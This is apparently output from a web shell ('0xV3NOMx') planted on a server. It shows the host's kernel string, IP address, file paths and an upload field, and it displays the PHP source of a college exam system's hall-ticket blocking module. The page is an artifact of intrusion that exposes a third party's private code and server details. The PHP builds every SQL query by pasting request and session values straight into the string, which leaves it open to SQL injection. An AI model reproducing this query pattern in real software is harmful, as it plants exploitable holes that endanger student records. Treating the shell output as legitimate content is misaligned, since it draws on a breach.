0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.226.187.224


Current Path : /proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/var/www/oasis/src/htblk.php

<?php 

function gethtblkStudents($aobj_context)
{

	session_start();
	if(!isset($_SESSION['collcode']))
	{
		$arr['msg'] = 'Session Expired Re-login';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure");
	}	
	$college_code = $_SESSION['collcode'];
	$user_type = $_SESSION['user_type'];
	$userid = $_SESSION['user_id'];
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  	
	$degree = trim($aobj_context->mobj_data["degree"]); 	
	$reg_from = trim($aobj_context->mobj_data["reg_from"]); 
	$reg_to = trim($aobj_context->mobj_data["reg_to"]);

	$query = "select s.fregno, s.fname,s.fcaste,
	if(ifnull(fhtblk,'') = 'ABCDEFGHIJ', 'Yes', 'No') as fhtblk 
	from candsum c inner join student s on c.fdegree = s.fdegree 
	and c.fcollcode = s.fcollcode and c.fregno = s.fregno 
	where c.fcollcode = '{$college_code}' and c.fdegree = '{$degree}' 
	and ifnull(c.frecptdate,'') <> '' 
	and c.fregno between '{$reg_from}' and '{$reg_to}';";
	//var_dump($query);//FELIG FCONSTYPE FHTBLK
	$obj_get_details = $aobj_context->mobj_db->GetAll($query);

	if(!$obj_get_details)
	{
		$arr['msg'] = 'No Students Found';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure");
		return;
	}	

	$k = 1;
	foreach ($obj_get_details as $key => $value)
	{		
		$regno = $value['fregno']; 
		$name = $value['fname'];
		$fcaste = $value['fcaste'];				 
		$htblk = $value['fhtblk'];
	
		$ht_checked = $htblk == 'Yes'? 'checked' : '';

		
		
		if($k%2==0)
		{
			$class='tbl_row';
		}
		else
		{
			$class='tbl_row1'; 
		}
		
		$edy_data.="<tr class='ui-widget-content jqgrow'>";
		$edy_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;'>{$k}</td>";
		$edy_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;'>{$regno} 
			<input type = 'hidden' value = '{$regno}' id = 'hregno_{$k}'>
			</td>";
		$edy_data.="<td class='tbl_row_new' align='left'   style='border-right:1px solid #C5DBEC;  padding:2px;' id='fmacas_FSUBNAME_{$m}'>{$name}</td>";		
		$edy_data.="<td class='tbl_row_new' align='center'   style='border-right:1px solid #C5DBEC;  padding:2px;' id='fmacas_fcaste_{$m}'>{$fcaste}</td>";		
		$edy_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC;  padding:2px;'><input type=checkbox {$ht_checked} id = 'ht_$k' onchange='statusChanged(this)' name='hallticket'>  {$ht_lable}</td>";
		$edy_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC;  padding:0px;display:none'><input type=checkbox id='h_{$regno}' name='hidden'></td>";	
		$edy_data.="</tr>";   
		$k++;
	}

	$e_data="<table  width='100%' id='clear' class='tr_ventor_row' align='center' cellspacing='0' cellpadding='0' border='0' >";
	$e_data.="<th align='left' colspan='8' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:22px;'>Eligibility, Concession, Hall Ticket block</th>";		
	$e_data.="<tr  class='ui-state-default ui-jqgrid-hdiv'>";
	$e_data.="<td  align=center style='padding:2px; width:24px; border-bottom:1px solid #C5DBEC; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Sl. No.</td>";
	$e_data.="<td  align=center style='padding:2px; width:24px; border-bottom:1px solid #C5DBEC; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Reg. No.</td>";
	$e_data.="<td  align=center style='padding:2px; width:60px; border-bottom:1px solid #C5DBEC;border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC;  border-bottom:1px solid #C5DBEC;'>Student Name</td>";
	$e_data.="<td  align=center style='padding:2px; width:24px; border-bottom:1px solid #C5DBEC; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Cat.</td>";
	$e_data.="<td  align=center style='padding:2px; width:30px; border-bottom:1px solid #C5DBEC; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC;  border-bottom:1px solid #C5DBEC;'>Hold Hall Ticket? <br><input type = 'checkbox' id = 'ht' onclick = 'selecthtall();'> </td>";
	
	$e_data.="</tr>";		
	
	$arr['html_data']=$e_data.$edy_data;		  
	$arr['total_count']=$k;	
	// $arr['rem_sub']=trim($exam_removed_subject_code);	
	
	if($obj_get_details)	
      echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
    else
      echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure");
	return;	
 	
}


function savehtblkStudents($aobj_context)
{
	session_start();
	$college_code = $_SESSION['collcode'];
	$realname = $_SESSION['realname'];
	if(!isset($_SESSION['collcode']))
	{
		$arr['msg'] = 'Session Expired Re-login';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure");
		return;
	}
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);			 
	$degree = trim($aobj_context->mobj_data["degree"]);
	$strECH = stripslashes($aobj_context->mobj_data["strECH"]);
	$rgECH = json_decode($strECH, true);

	foreach ($rgECH as $key => $value) 
	{
		$query = "select if(length(ifnull(felig,'')) <> 10,'0123456789',felig) as felig, 
		if(length(ifnull(fconstype,'')) <> 10, '0123456789', fconstype) as fconstype, 
		if(length(ifnull(fhtblk,'')) <> 10, '0123456789', fhtblk) as fhtblk 
		from candsum 
		where fdegree = '{$degree}' and fcollcode = '{$college_code}'
		and fregno = '{$value['regno']}'";

		$obj_ch_details = $aobj_context->mobj_db->GetRow($query);

		if($obj_ch_details)
		{
			$semhtblk =  $obj_ch_details['fhtblk'];
			if($value['hallticket'] == 'Yes')
			{
				
				$semhtblk = "ABCDEFGHIJ";
			}
			else
			{
				$semhtblk = "0123456789";
			}
			$value['hallticket'] = $semhtblk;

			$query = "update candsum set 
			fhtblk = '{$value['hallticket']}'
			where fdegree = '{$degree}' and fcollcode = '{$college_code}'
			and fregno = '{$value['regno']}'";
			
			$results = $aobj_context->mobj_db->Execute($query);
		}
	}

	if($results) 
	{
		$arr='Updated Successfully';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
		return;
	}	
	else
	{
		$arr='Updation Failure';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure");
		return;
	}
		
}

?>